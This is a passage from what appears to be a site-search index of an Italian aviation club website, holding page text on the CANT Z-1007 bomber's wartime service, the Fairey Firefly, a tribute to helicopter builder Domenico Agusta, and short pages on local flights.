e ricco di successi. Sono utilizzati soprattutto contro Creta e contro le forze navali britanniche durante l'attacco germanico contro l'isola. Il 21 maggio 1941, nel corso di una missione diretta contro il naviglio inglese, il dragamine &quot;Juno&quot; viene affondato e qualche giorno dopo viene danneggiato il dragamine &quot;Imperial&quot;. Un CANT Z-1007ter della 190a squadriglia si dirigono verso la Yugoslavia per rifornire i partigiani di Tito; si nota la scorta probabilmente caccia Macchi MC-202. Il brusco cambiamento di clima, dell'inverno italiano e il caldo torrido del mare Egeo e di altre basi dell'area, ai quali sono sottoposti i CANT, provocano qualche avaria alle strutture in legno dell'aereo che con il fenomeno del distacco delle parti incollate e dei rivestimenti determinano delle deformazioni permanenti. La penuria endemica di metalli leggeri in Italia fin dagli anni trenta, e l'incapacità per la nostra industria aeronautica a orientarsi verso aerei plurimotori totalmente metallici, dava ora risultati negativi per la operatività dei velivoli. Nel mese di settembre 1941, il 50 gruppo viene richiamato sul territorio metropolitano, rimpiazzato a Rodi dalla 47 squadriglia che continua le operazioni principalmente diretto contro il traffico marittimo del Mediterraneo orientale e parallelamente il 51 gruppo svolge una attività identica nel settore occidentale contro i convogli provenienti da Gibilterra. In Libia, nel 1941, la presenza dei CANT Z1007bis e inizialmente limitata a qualche esemplare appartenente alle squadriglie RST 175 e 176. Queste diverranno sempre più importanti per il successivo arrivo di tutta la 35° Squadra in aprile 1942. Con i suoi trentadue aerei, partecipa al bombardamento della piazza forte di Tobruk fino alla sua riconquista e alla progressione verso El-Alamein. Nel momento della sua assegnazione sulle basi della Cirenaica, la 35 squadra è attaccata da un commando britannico a Barce, che gli costa la distruzione di sette apparecchi e il danneggiamento di altri due. L'efficacità operazionale delle unità sono nettamente diminuite. Si rimedierà a questo stato di cose con l'invio di nuovi aerei provenienti dal territorio metropolitano. Lo sfondamento del fronte italo tedesco a EL-Alamein e il conseguente arretramento delle truppe dell'Asse, segue ovviamente anche lo spostamento verso occidente della 35 Squadra. A metà dicembre del 1942 inizia il ritiro e il rimpatrio dell'86mo gruppo e, un mese più tardi, quello del 95mo. La 47 squadra contribuisce efficacemente a supporto alle operazioni di terra dell'Asse, operando dagli aeroporti di Gadurrà e di Maritza situati nell'isola di Rodi. Nel 1942, si accentua il carattere aeronavale dell'attività dei CANT Z e si raggiunge l'apice delle azioni nella &quot;battaglia di mezzo giugno&quot; alla quale partecipano quattro gruppi ( quali la 29, 33, 50 e 51) e due squadre ( quali le 35 e 46) che sono basate ad Alghero e Villacidro in Sardegna, nonché dalle basi di Trapani e in Sicilia; altri interventi in provenienza dalle basi di Barce et Maritza. Qualche CANT Z-1007bis sono impiegati sul fronte Russo nel corso di missioni speciali. Lo sbarco degli alleati in Africa del nord francese (Operazione &quot;Torch&quot;), imprime un ritmo insostenibile per l'attività dei bombardieri che sono sempre di più provati dalla fatica e dallo stress.Al primo posto come sempre, i CANT Z-1007bis dei 25°, 29°, 33°, 50°, 51°, 106°, 107°, 88° et 16° gruppi con settantacinque esemplari solamente di cui trentanove &quot;buoni per la guerra&quot;: alla Regia Aeronautica non restano che centocinquanta bombardieri di tutti i tipi a contrastare l'implacabile armata alleata. Nel momento in cui le perdite di aerei CANT Z-1007bis sugli obiettivi d'Algeria fa ruotare in senso negativo e irreversibilmente il grado di operatività delle unità al fronte, la produzione nazionale del velivolo si attesta attorno ai sette- dieci esemplari al mese. CANT Z-1007bis, dell'Aeronautica Repubblicana della R.S.I. - Anche se i colori sono dell'Aviazione Germanica, l'aereo appartiene al gruppo di bombardamento &quot;Ettore Muti&quot;. In giugno del 43 viene organizzato a Perugia il &quot;Raggruppamento da Bombardamento&quot;, armato di una trentina di velivoli CANT Z-1007bis e ter provenienti dai gruppi 28°, 86°, 88&quot; et 106°. Le altre unità presenti in questo momento in nord Italia attendono con impazienza nuove dotazioni. Nel corso dei giorni successivi il 15 giugno il 51° gruppo riceve una dozzina di bombardieri francesi Loiré et Olivier LeO.451 quali prede di guerra, e altri distaccamenti integreranno i loro gruppi con Junkers Ju-88 concessi dai tedeschi. L'invasione della Sicilia prologo dell'attacco al &quot;ventre molle&quot; dell'Asse, vede i CANT opporsi vanamente alle operazioni di sbarco lungo la costa orientale dell'isola. L'utilizzazione dei velivoli come ricognitori fotografici sono posti alle dirette dipendenze dello stato maggiore del comando Regia Aeronautica Sicilia. I mesi di luglio e agosto 1943 vede il &quot;Raggruppamento di Bombardamento&quot; ridurre i velivoli ai minimi storici: su diciannove in carico solo solo tredici sono efficienti e in grado di volare. Al 31 luglio 1943, i CANT Z-1007bis e 1007ter in attività presso le unità di bombardamento sono settantanove, di cui sedici &quot;buoni alla guerra&quot;, su un totale effettivo di duecentotrenta. Dopo l'armistizio una quarantina sfuggiranno ai tedeschi spostandosi in Sardegna ad Algjera, da dove, riprenderanno la lotta questa volta contro Wehrmacht che ripiega in Corsica. La Repubblica Sociale appena formatasi mette in organico di forze operanti un gruppo di bombardamento con dei CANT (senza mai impiegarlo, del resto); al sud invece, la Regia Aeronautica riorganizza completamente le sue forze ricostituendo l'88 gruppo utilizzando gli elementi costitutivi delle squadriglie 19, 190, 260 et 265 dotati principalmente di CANT Z-1007ter. L'utilizzazione dei velivoli sarà limitato a l'approvisionamento dei partigiani di Tito e le unità dell'Esercito Italiano operanti con la resistenza Yugoslava. In quell'area d'operazione viene a prodursi un terribile episodio che costa la vita a ventisei giovani aviatori italiani. Il 14 maggio 1944, rientrando da una missione di approvvigionamento dalla zona di Kolasin, una formazione di dodici CANT rimasti senza scorta, viene attaccata da una ventina di BC-109G della Luftwaffe. Cinque aerei vengono abbattuti e due gravemente danneggiati e obbligati ad atterrare a Lecce - Galatina con dei morti e feriti a bordo. Dopo questa tragica giornata le missioni non si faranno che in notturna fino al completo abbandono dell'area della caccia nemica. Alla fine delle ostilità in Europa, l'88 gruppo possiede ancora dodici CANT Z-1007bis e ter sui seicento prodotti. Un CANT Z-1007bis, &quot;Bir-Hakeim&quot;, immatricolato Francia Libera (FL-AVM) catturato a Enfidaville (Tunisia). A conclusione di questo riassunto delle attività di guerra dei CANT &quot;Alcione&quot;, ricordiamo che numerosi esemplari dei Z-1007bis saranno incorporati alle unità di seconda linea (Gruppi Complementari) che avranno come incarico l'addestramento e la formazione dei futuri equipaggi militari e alle scuole di specializzazione di Aviano, Malpensa et Jesi. Dopo la guerra, l'uso dei Cant Z-1007 è limitato, sono in cattivo stato e i pezzi di ricambio sono rari, l'ultimo sarà riformato nel 1948. Annotiamo infine che una decina di Z-1007 hanno volato con i colori della Luftwaffe; si tratta di aerei catturati dai tedeschi dopo l'8 settembre. Il loro impiego rimarrà limitato alle scuole di bombardamento. Un Z-1007bis abbandonato a Enfidaville, vola con i colori francesi per tutto il 1946. Dopo la sostituzione dei motori Piaggio con dei Pratt and Whitney, viene battezzato &quot;Bir-Hakeim&quot; e immatricolato successivamente FC, poi, FL-AVM. Utilizzato per i suoi spostamenti dal gen. Marmier e in seguito dal gen. De Gaulle.  Alto Stampa Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[79]=new Array("http://www.volareflyfree.it/fairey_firely.html","FAIREY FIREFLY - Caccia ricognitore biposto inglese della II Guerra Mondiale","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Aeronautica / FAIREY FIREFLY - Caccia bombardiere biposto inglese Home Page Aeronautica Aeroplani Sopravvissuti Gli stemmi e le insegne dell'Aeronautica Militare Italiana Avieri e Soldati che negli anni hanno servito nell'Arma Aeronautica DOMENICO AGUSTA  Costruttore aeronautico Una vita fra gli aeroplani Lo hanno ricordato English DOMENICO AGUSTA A lesson in achievement A Lifetime among Aeroplanes I primi elicotteri dell'Aeronautica Militare italiana Velivoli Storici Un bombardiere italiano: il CANT Z 1007bis FAIREY FIREFLY, Caccia Bombardiere inglese della II Guerra Mondiale FAIREY FIREFLY, Caccia Bombardiere inglese della II Guerra Mondiale Nonostante una presenza operativa relativamente breve, il Firefly infatti non entrò in azione che alla metà di luglio del 1944, questo velivolo combatte in quasi tutti i teatri operativi dall'Artico ai Tropici, distiguendosi come la macchina di maggior successo tra i velivoli inglesi imbarcati, nel corso della guerra. Nel 1939 l'Ammiragliato formulò dei nuovi requisiti per i caccia imbarcati e pubblicò le specifiche N. 8/39 ed N. 9/39, relative rispettivamente ad un caccia con cannoni fissi, ed uno con l'armamento concentrato in una torretta girevole. Il gruppo progettuale della Fairey, capeggiato da H.E. Chaplin, elaborò dei progetti di massima per entrambe le specifiche, ma concluse che un caccia biposto di linee pulite e con armamento fisso, offriva possibilit di sviluppo maggiori. In base a tali considerazioni si sottopose all'Ammiragliato un progetto che, approvato inizialmente in linea di massima, portò, il 6 giugno 1940, ad un contratto iniziale per 200 macchine secondo la specifica riveduta N. 5/40. L'armamento richiesto di quattro cannoni da 20 mm. era per quel tempo il più pesante mai preso in esame per un caccia imbarcato, inoltre il motore Rolls- Royce Griffon su cui si basava il progetto, non aveva ancora effettuato alcuna prova. Prototipo del Mk. IV. con i radiatori alla radice delle ali Il 16 novembre 1940 furono passati all'officina sperimentale i primi disegni, mentre veniva organizzata la produzione in serie; durante il mese seguente si sceglieva per il progetto la denominazione di Firefly. Un anno pi tardi, il 22 dicembre 1941, volava il primo prototipo (Z 1826) e dopo appena quattordici mesi, il 4 marzo 1943, il primo Firefly di serie (Z 1830) veniva regolarmente accettato. Vennero completati altri tr prototipi (Z 1827- 1829) che volavano rispettivamente in marzo, agosto, settembre 1942; allorch i Firefly I cominciarono ad essere consegnati in notevoli quantitativi, erano ormai già stati firmati contratti per 800 macchine comprendenti 500 Mk. I, 200 Mk. II e 100 Mk. III. La prima unità operativa su i Firefly I venne formata a Yeovilton il 1 ottobre 1943. Questo Squadron, il 1770°, si imbarcò a bordo della HMS Indefatigable e fece la sua prima comparsa operativa nelle acque norvegesi, nel luglio 1944, durante gli attacchi contro la Tirpitz. Il secondo Squadron su Firefly I, il 1771, effettua le prime uscite operative nell'ottobre 1944; ma la prima azione navale di una certa importanza alla quale partecipa il Firefly I, ebbe luogo nel gennaio 1945 con un attacco contro i giapponesi a Sumatra. Un Mk. IV con i radir alari e gondole per gli scanner ai lati della fusoliera Mentre la Fairey costruiva un totale di 297 Firefly I, altre 132 macchine di questo tipo venivano prodotte in subappalto dalla Generai Aircraft. Sui primi velivoli di serie fu incrementata l'altezza della cappottina dell'abitacolo e carenati i cannoni alari. La secondo macchina di serie (Z 1831) venne modificata e serv da prototipo per il Firefly N.F. II con in dotazione un radar A.I., con gli scanner alloggiati in due piccoli radome sul bordo d'entrata delle ali, tra i cannoni e la fusoliera. Per compensare l'equipaggiamento supplementare installato nella parte posteriore dell'abitacolo, venne inserito un vano aggiuntivo di 38 cm., tra la parte anteriore del posto di pilotaggio e la paratia tagliafamma. Intervallati lungo la catena di montaggio furono in seguito prodotti 37 N.F. II; ma la messa a punto di radar più compatti rese possibile modificare la cellula del MkI per la caccia notturna. Il Firefly N.F. I presentava una gondola radar sotto il muso e tubi di scappamento schermati. Questa versione sostituì il N.F. MkII, mentre gli esemplari di questo venivano ricondizionati allo standard del MkI. Al Firefly F. I segu il F.R. MkI, caccia ricognitore, equipaggiato con il radar di scoperta navale ASH. Alcuni Firefly F. I vennero convertiti in F.R. MkI e denominati F. Mk. IA. Uno dei primi Firefly F. I di serie (Z 1835) Mentre la Fairey costruiva un totale di 297 Firefly I, altre 132 macchine di questo tipo venivano prodotte in subappalto dalla Generai Aircraft. Sui primi velivoli di serie fu incrementata l'altezza della cappottina dell'abitacolo e carenati i cannoni alari. La secondo macchina di serie (Z 1831) venne modificata e serv da prototipo per il Firefly N.F. II con in dotazione un radar A.I., con gli scanner alloggiati in due piccoli radome sul bordo d'entrata delle ali, tra i cannoni e la fusoliera. Per compensare l'equipaggiamento supplementare installato nella parte posteriore dell'abitacolo, venne inserito un vano aggiuntivo di 38 cm., tra la parte anteriore del posto di pilotaggio e la paratia tagliafamma. Intervallati lungo la catena di montaggio furono in seguito prodotti 37 N.F. II; ma la messa a punto di radar più compatti rese possibile modificare la cellula del MkI per la caccia notturna. Il Firefly N.F. I presentava una gondola radar sotto il muso e tubi di scappamento schermati. Questa versione sostituì il N.F. MkII, mentre gli esemplari di questo venivano ricondizionati allo standard del MkI. Al Firefly F. I segu il F.R. MkI, caccia ricognitore, equipaggiato con il radar di scoperta navale ASH. Alcuni Firefly F. I vennero convertiti in F.R. MkI e denominati F. Mk. IA. Tutti i Firefly precedenti alla 471&quot; macchina imbarcavano il Griffon II B da 1730 cv. ma negli esemplari successivi del Mk. I, questo fu sostituito dal Griffon XII. In totale vennero costruiti 376 F.R. Mk. I; l'ultimo esemplare (TW 679) venne completato il 23 novembre 1946. La disponibilit dei primi motori Griffon serie 61 a due stadi ne rese possibile l'installazione su uno dei primi Firefly F. I di serie (Z 1835) che servì da prototipo per il Firefly III. Venne adottato un radiatore a forma di bulbo a sezione crescente ma la soluzione si rivelò aerodinamicamente non soddisfacente, e soltanto una riprogettazione più estesa avrebbe permesso di sfruttare convenientemente la maggiore potenza disponibile. Così il Firefly III venne abbandonato in favore del MkIV, il prototipo del quale altro non era che un F. MkI (Z 2118) equipaggiato con un Griffon 72 da 2.230 cv. Questa macchina, che volò nel 1944, conservava l'ala ellittica ed il complesso di coda del Firefly I, ma nel 1945, vennero mozzate le estremit alari, prolungata in avanti la deriva e spostati i radiatori sul bordo d'entrata alla radice dell'ala. Vennero modificate come prototipi del Firefly IV altre tre cellule di Mk. I (Z 1835, MB 649 e PP 482); il primo F.R. MkIV (TW 687) di serie volò per la prima volta il 25 maggio 1945, con un motore Griffon 74 da 2.245 cv. La Fleet Air Arm non ricevette i Firefly MkIV che nel dopo guerra, infatti 1'810 e 825 Squadron si riequipaggiavano su questa versione solo nel 1947. Alla fine della guerra, la Fleet Air Arm aveva quattro Squadron operativi sui Firefly alle dipendenze della British Pacifc Fleet, mentre altri quattro Squadron erano in via di conversione nel Regno Unito. Il Firefly fu inoltre il primo velivolo britannico a volare sopra Tokio durante la seconda guerra mondiale. Caratteristiche riferite al F.R. Mk.I (tra parentesi quelle del F.R. Mk.IV). Tipo: caccia ricognitore biposto imbarcato. Motore: Rolls-Royce Griffon IIB, 12 cilindri a V, raffreddato a liquido, erogante 1730 C.V. (Rolls-Royce Griffon 74, erogante 2245 C.V.) Armamento: 4 cannoni Hispano da 20 mm. 8 razzi da 27 Kg o 2 bombe da 450 Kg. Prestazioni: vel. max. 510 Km/h (620 Km/h); autonomia 1730 Km/h (2100 Km); quota massima 8500 m (8750 m). Pesi: a vuoto 4420 Kg (4370 Kg); a pieno carico 6350 Kg (6430 Kg). Dimensioni: apertura alare 13,55 m (12,55 m); lunghezza 11,45 m (11,55 m); altezza 4,13 m (4,36 m); sup. alare 33,2 mq (34,0 mq). Foto dei modelli Firefly in volo Questa versione con le ali mozzate alla loro estremità, divenne operativa nell'ultimissima fase della guerra e immediatamente dopo. Grafica dei modelli Firefly Alto Stampa  Un Dakota DC3 Un vecchio Dakota DC 3 con i colori francesi trasformato in bar. Non sappiamo che fine ha fatto; le ultime notizie sono che e stato trasportato altrove lontano dalla base militare, forse da un ferri vecchi e demolito. Poco prima che fosse portato via, era stata asportata la parte mobile della deriva verticale dove era dipinta la bandiera francese. Un Dakota della forza francese in Bosnia a Sraglievo anno 2002 Foto curtesy: Renato Tognoni Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[80]=new Array("http://www.volareflyfree.it/domenico_agusta.html","Domenico Agusta Imprenditore e costruttore aeronautico","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Aeronautica / DOMENICO AGUSTA  - Costruttore aeronautico Home Page Aeronautica Aeroplani Sopravvissuti Gli stemmi e le insegne dell'Aeronautica Militare Italiana Avieri e Soldati che negli anni hanno servito nell'Arma Aeronautica DOMENICO AGUSTA  Costruttore aeronautico Una vita fra gli aeroplani Lo hanno ricordato English DOMENICO AGUSTA A lesson in achievement A Lifetime among Aeroplanes I primi elicotteri dell'Aeronautica Militare italiana Contattaci Pagina dedicata alla memoria del Cavaliere del Lavoro DOMENICO AGUSTA  - Costruttore aeronautico Una Azienda italiana di aeroplani: COSTRUZIONI AERONAUTICHE GIOVANNI AGUSTA S.p.a. Domenico Agusta Dicono gli esperti, e i fatti generalmente lo confermano, che le industrie di aeroplani possono prosperare solo dove esiste un'adeguata assistenza governativa e il supporto di un sufficiente mercato nazionale, sia esso militare o civile. E' quanto si legge nelle relazioni ufficiali: ed un fatto che i paesi del mondo dove c'è una consistente industria aeronautica stanno sulle dita di una mano. Domenico Agusta non trovò, nell'Italia del dopoguerra, né l'una cosa né l'altra: non aiuti governativi, né un mercato di proporzioni considerevoli. E' quanto a previsioni e rapporti di esperti, non ebbe il tempo di leggerli; e se li avesse letti non ne avrebbe tenuto conto. Nel 1935 D. Agusta parla con il Duca d'Aosta Fece egualmente, in un paese scettico e disattento, una progredita e agguerrita industria aeronautica che da vent'anni cresce, si espande e compete con successo sui mercati internazionali, inopinatamente dimostrando di sapersi reggere in piedi senza i puntelli, palesi o reconditi, dello stato. Riferendosi a tali severe condizioni ambientali e a tali concreti handicaps un importante uomo d'affari americano esclamò un giorno: &quot;Costui sta dimostrando che possibile vendere gli ananassi cresciuti sulle nevi dell'Antartide&quot;. Dove accanto alla esagerazione del &quot;bon mot&quot; c'è pur anche una fetta di ben giustificato stupore e una punta di verità. Dire semplicisticamente che il successo di Domenico Agusta dovuto agli elicotteri equivale ad affermare che l'aria trasparente o che l'erba verde. dire niente. Egli avrebbe avuto eguale, o forse maggiore, successo in Domenico Agusta a Stoccarda con Ubbiati e Masetti qualunque altra impresa, come infatti lo ebbe, per più di un quarto di secolo, nella personalissima, ma impegnativa, hobby delle competizioni motociclistiche. Come sarebbe altrettanto ingiusto e fuori luogo ridurre ogni cosa in termini di successo produttivo o mercantile, perchè così non è. Le macchine prodotte, vendute, esportate costituiscono il dato pi appariscente, il riferimento palese, quello che tutti sanno. Non altrettanto noto, invece - salvo ai pochi del mestiere - l'enorme sforzo che, dietro la facciata della produzione di serie, Domenico Agusta ha compiuto in vent'anni per creare quasi dal nulla, e senza aiuti di chicchessia, una completa e complessa struttura di uomini, attrezzi ed esperienza tale da consentire alla sua azienda lo studio, la progettazione e la sperimentazione autonoma di nuovi velivoli nel campo dell'ala rotante. E' questo un punto importante sul quale necessario soffermarci se vogliamo chiarire e illustrare la statura dell'uomo. Egli aveva capito fin da cinquant'anni fa - altri ci stanno arrivando solo ora, qualcuno forse non ci arriverà mai - la radicale evoluzione intervenuta nell'aviazione del dopoguerra. Al romantico concetto dell'audacia e del rischio - al quale in gran parte dobbiamo la conquista del cielo - si era venuta imperiosamente sostituendo l'esigenza della sicurezza del volo; e finita l'epoca delle scoperte estemporanee, delle trovate geniali, e, sia detto senza irriverenza, anche degli aeroplani stravaganti, andava altresì scomparendo la figura del &quot;pilota&quot; e del &quot;progettista&quot; divinizzati, che mettevano la loro brava firma sull'impresa compiuta e sul velivolo progettato. Bei tempi, ma tutto passa a questo mondo. Entravano in scena le anonime &quot;squadre&quot; di tecnici, le specializzazioni associate, i trusts di cervelli, la standardizzazione delle procedure di volo, le attrezzature per la sperimentazione, i controlli di qualità, i computers. Il triturbina Agusta 101 G - Nella progettazione dei grandi elicotteri l'Agusta non fu seconda a nessuno. Ad una generazione di esuberanti e di intransigenti - piloti e progettisti dell'anteguerra - subentrava una falange di pedanti e di sgobboni. Sia ben chiaro: segretamente Domenico Agusta stava con i primi, gli indimenticabili compagni della sua giovinezza. Ne parlava a lungo qualche sera, tra pochi amici, quando si concedeva rare pause di distensione. Si ripeteva anche, nei suoi racconti: con ciò dimostrando quale sogno avesse lasciato nel suo cuore l'epoca d'oro della scoperta del cielo. Ma la mattina dopo era pronto a sospendere dai voli un collaudatore che avesse osato tentare l'esecuzione di una mezza figura acrobatica. Oggi tutti i pappagalli parlano di &quot;gap&quot;, da quando questa parola inglese che significa &quot;lacuna&quot; stata messa in voga da un noto uomo politico. Ma Domenico Agusta cominciò a riempirlo, codesto buco, codesta lacuna, D.Agusta ai comandi di un prototipo di elicottero con motore a pistoni vent'anni fa, probabilmente senza neppur sapere che così si chiamava. Dagli aeroplani di legno e tela - scomparsi con il totale olocausto dell'aviazione italiana nel 1943 - alla raffinata e complessa metallurgia di un elicottero del 1950 il salto era grosso; il buco, la lacuna, erano profondi. Il modo più logico e rapido per riempirlo non era certamente quello di tentare di inventare l'ombrello; ossia non era certamente quello di mettersi a ricercare e a progettare. Progettare che cosa, e per chi, se non si conosceva il punto al quale altri erano arrivati? E inventare che cosa, se non si conoscevano i procedimenti di fabbricazione? Per dire quanto pochi siano in Italia coloro che hanno intuito o recepito questo punto basti pensare che codesto grosso equivoco fra &quot;design&quot; e &quot;process&quot; - fra il concepire una macchina volante dei nostri tempi, e possedere la effettiva capacità di costruirla in termini di aggiornata tecnologia - persiste tuttora ed presente sotto specie di enigma e rompicapo, in ogni decente consesso ove si parli di &quot;rilancio dell'industria aeronautica nazionale&quot;. Domenico Agusta ebbe l'intelligenza e l'umiltà - due virtù che per essere vere hanno bisogno l'una dell'altra - di rimettersi a scuola, cinquant'anni or sono, lui e tutti i suoi tecnici. Ma con il puntiglio e l'orgoglio di imparare tutto, quindi di fare tutto, anche le cose che sarebbe stato più comodo, ed estremamente pi conveniente, procurarsi altrove. Da questa sua testarda e incessante escalation, ovviamente concepita e attuata per tempi lunghi, dovevano scaturire, come infatti avvenuto, due importanti risultati: una completa conoscenza delle tecnologie riferite ai velivoli ad ala rotante e una completa, aggiornata e autonoma attrezzatura per applicare tali tecnologie, sia nel campo della sperimentazione Domenico Agusta interveniva personalmente nello sviluppo di una nuova macchina. Quì nel 1952 ai box con una 500cc quanto nel campo della produzione. Condizioni entrambe indispensabili per l'obiettivo finale: ossia per acquisire la capacità, non solo di progettare, costruire e sperimentare nuove macchine, ma anche di farle accettare sul mercato mondiale. L'aspetto pi stupefacente di questa marcia durata quarant'anni sta nel fatto che Domenico Agusta, questo uomo d'altri tempi, non si contentava di risultati di laboratorio, non accettava, per dirla con i medici, le sole prove &quot;in vitro&quot;. Voleva e pretendeva il caso vero, reale e totale. In altri termini: per imparare, e insegnare ai suoi tecnici, l'arte di progettare e sperimentare nuovi elicotteri li costringeva, appunto, a fare nuovi elicotteri. Riteniamo non esistano al mondo altri esempi di aziende che nel tempo relativamente limitato di poco più di due lustri abbiano messo in volo a proprie spese una dozzina di prototipi di progettazione originale che vanno dal piccolo monoposto sino al grosso trimotore da quaranta posti. Salvo quest'ultimo, che ebbe un limitato contributo governativo, e salvo il piccolo silurante A-106, entrato in servizio presso la Marina, tutti gli altri furono realizzati a spese e rischio della azienda, ossia costituirono, come dicono gli americani, &quot;private venture&quot;. E non si tratta, come qualcuno potrebbe supporre, di macchine mancate, perchè alcune passarono anche, e con successo, al vaglio di estese prove militari o della certificazione civile. Il punto un altro. Come si era in antecedenza reso conto che i tempi, in aviazione, erano cambiati - dalla irruenza creativa dell'anteguerra alla pedanteria meditativa del dopo - così Domenico Agusta aveva anche capito che in un mercato che tende, per motivi dei costi d'esercizio, ferocemente verso la standardizzazione non basta avere in mano una buona macchina per conquistare il mondo: bisogna anche aspettare l'occasione propizia, ossia che si verifichi quella tale lacuna, quel tale gap - questa volta non tecnologico, ma operativo o mercantile - che consenta il rischio, ben più grande, del lancio della serie. In questo abbastanza lungo discorso, che meriterebbe d'essere ben più approfondito, abbiamo toccato tre punti: attrezzature specializzate, studi di progettazione, L'AZ8 un prototipo degli anni &quot;50&quot; di velivolo commerciale per brevi e medie distanze. costruzione e sperimentazione di nuovi velivoli. Tre cose che in qualunque altro paese, che possieda un'industria aeronautica, sono usualmente fatte a spese dei governi. In Italia, invece, furono messe insieme a spese dell'azienda di Cascina Costa, per merito precipuo di Domenico Agusta. L'Italia non aveva un'industria di produzione elicotteristica: ora ce l'ha. Non aveva tecnici capaci, non solo di mantenere in volo le macchine create dagli altri, ma anche di crearne di proprie; non aveva piloti collaudatori addestrati alla messa a punto di nuovi velivoli ad ala rotante: ora ha tutto questo. Non aveva alcuna possibilità o speranza di inserirsi nel contesto del mercato mondiale con la propria firma e con la propria bandiera: ora questa prospettiva in atto e si sta realizzando. Non risulta che Domenico Agusta abbia mai esposto queste sue idee e questi suoi piani, che erano in lui lucidissimi e meditatissimi, in congressi, convegni, simposi, conventions o simili ufficiali esercitazioni. Come Socrate, egli insegnò queste cose solo agli scolari della sua singolare e moderna Accademia - i suoi collaboratori e tecnici di Cascina Costa - e non ha lasciato nulla di scritto. Salvo un brevissimo testamento: &quot;Quando sarò morto mettete la mia bara fra le D.Agusta nel laboratorio di progettazione con la delegazione americana della Bell macchine utensili, fra gli strumenti del nostro lavoro. Fatemi un funerale semplice. E il giorno dopo, questo il mio ultimo ordine, &quot;tutti al lavoro&quot;. La grande lezione di Domenico Agusta; la lezione dei fatti. Sopra ci è sfuggita una esclamazione: &quot;quest'uomo d'altri tempi&quot;. Vorremmo non essere fraintesi. Non può non essere uomo dei propri tempi uno che fabbrica elicotteri. Ma non si può fare quello che egli ha fatto senza il supporto di virtù esemplari che ora sembra vadano scomparendo. Una grande forza d'animo e un grande coraggio, una ferma volontà di perseguire i propri obiettivi, una lucida visione dei problemi da affrontare e, soprattutto, una enorme capacità di comprendere i propri simili, che alla base di qualunque capacità di comando. Chi tutto comprende tutto può perdonare. Ed egli usava la esortazione, la comprensione, la persuasione e il perdono come strumenti principali del suo governo. Anche se da tutti pretendeva Domenico Agusta accompagnato da alti ufficiali italiani in visita al Salone Internazionale a Parigi il possibile ed anche l'impossibile. Che non sempre, beninteso, otteneva: ma egli, di codesto &quot;impossibile&quot; era l'esempio vivente, quotidiano, stupefacente. Di fronte a certi suoi ordini ci si poteva, magari, rodere il fegato come di fatto spesso accadeva per finire poi completamente disarmati dinanzi all'esempio della sua azione infaticabile. Si poteva anche litigare, con Domenico Agusta, ma solo per divergenze o dissensi sugli indirizzi di lavoro, mai per ragioni personali. Si poteva litigare per ore: ma era praticamente impossibile lasciare il tavolo dell'alterco con una sola briciola di risentimento o rancore. Aveva un modo inimitabile di chiudere una discussione, fosse pur la più aspra: un sorriso franco, aperto, buono di adolescente che lo facevano essere amico, una simpatia che disgelava qualunque nebbia. Con il viatico di codesto sorriso ci si dormiva sopra una notte. Per finire convinti, il giorno dopo, che forse aveva ragione lui. E nove volte su dieci era così. Da una simile stoffa d'uomo in altri tempi - ecco il punto - si sarebbe potuto cavare qualunque cosa: un condottiero, un navigatore, un artista, che ne sappiamo, persino un profeta. Egli riderebbe di questa nostra strana supposizione. Maggio 1954 sul campo di Cascina Costa, alla sinistra di Domenico Agusta, Larry Bell Questo pregiudizio ci viene da un'altra sua peculiare caratteristica: aveva un grande rispetto per gli altri, cosi aveva anche un profondo rispetto per la tradizione, per coloro che in questo mondo lo avevano preceduto. Suo padre era un pioniere dell'aviazione ed egli si sentiva l'anello di una dinastia, uno che aveva degli ascendenti e che avrebbe avuto dei discendenti. Non solo nell'ambito ristretto della famiglia, ma nel senso ben più largo e corale di una rigorosa fedeltà ai principi e agli obiettivi che altri prima di lui - i suoi compagni della Malpensa - avevano perseguito e che lui doveva con ogni sua forza e impegno continuare: perchè altri ancora, dopo di lui, avrebbero impugnato e portato avanti la sua bandiera. E probabile che anche in codesta sua proiezione verso il futuro quest'uomo affascinante, e per molti aspetti incredibile, probabile che anche in questo avrà ragione. Alto Stampa  Ritrovamenti Abbiamo trovato nel deposito di un autotrasportatore quattro elicotteri Mil Mi-2 di fabbricazione polacca e appartenuti all'aeronautica dell'Ucraina. Alcuni sono rottami poichè è rimasta solo la carcassa. Non abbiamo visto le turbine mentre era visibile il blocco rotore. Elicotteri Mil Mi-2 a Belgrado - Serbia Quando abbiamo saputo della provenienza ci è venuto in mente di un servizio televisivo sugli elicotteri usati a Cernobyl durante la bonifica del sito nucleare,ormai abbandonati in un deposito. Blocco rotore dell'elicottero Mil Mi-2 a Belgrado - Serbia Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[81]=new Array("http://xoomer.virgilio.it/garganoviaggi/catalano.html","Il comandante pilota Catalano Luigi e il Cessna 182 Q","","Il comandante pilota Catalano Luigi - Il Cessna 182 Q con gli amici sull'aviosuperfice di San Giovanni Rotondo - Domenica 10 ottobre 2010 Web produzione Garganonet © www.volareflyfree.it Severino Tognoni");sQ1[82]=new Array("http://xoomer.virgilio.it/garganonet/nicola.html","Battesimo dell'aria Monica e Nicola","","Battesimo dell'Aria Monica Monika viene dalla Polonia e risiede e studia in Italia. L'amore per il e la nostra regione, l'ha portata a Manfredonia. Auguri Monika! Nicola Nicola Fiananese è originario di Manfredonia, lavora a Milano e viene periodicamente nella sua città. Non è nuovo al volo. Si è divertito moltissimo Nicola e Monica (Foto Severino Tognoni) Chiudi");sQ1[83]=new Array("http://www.volareflyfree.it/girodeitremari.html","Il Giro Aereo dei Tre Mari volo ultraleggero","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Giro dei Tre Mari Home Page Il Giro Dei Tre Mari Informazioni Contattaci Amici in visita come tappa di viaggio - Sabato 13/06/2009 Il GIRO AEREO DEI TRE MARI Viaggio in aeroplano Ultraleggero toccando tre mari del Sud d'Italia Da alcuni anni si svolge il &quot;Giro Aereo dei Tre mari&quot; voluto e organizzato da Luca Colombo della Scuola di Volo AGV. Per la seconda volta ospitiamo nel nostro campo di volo, la formazione composta questa volta da 18 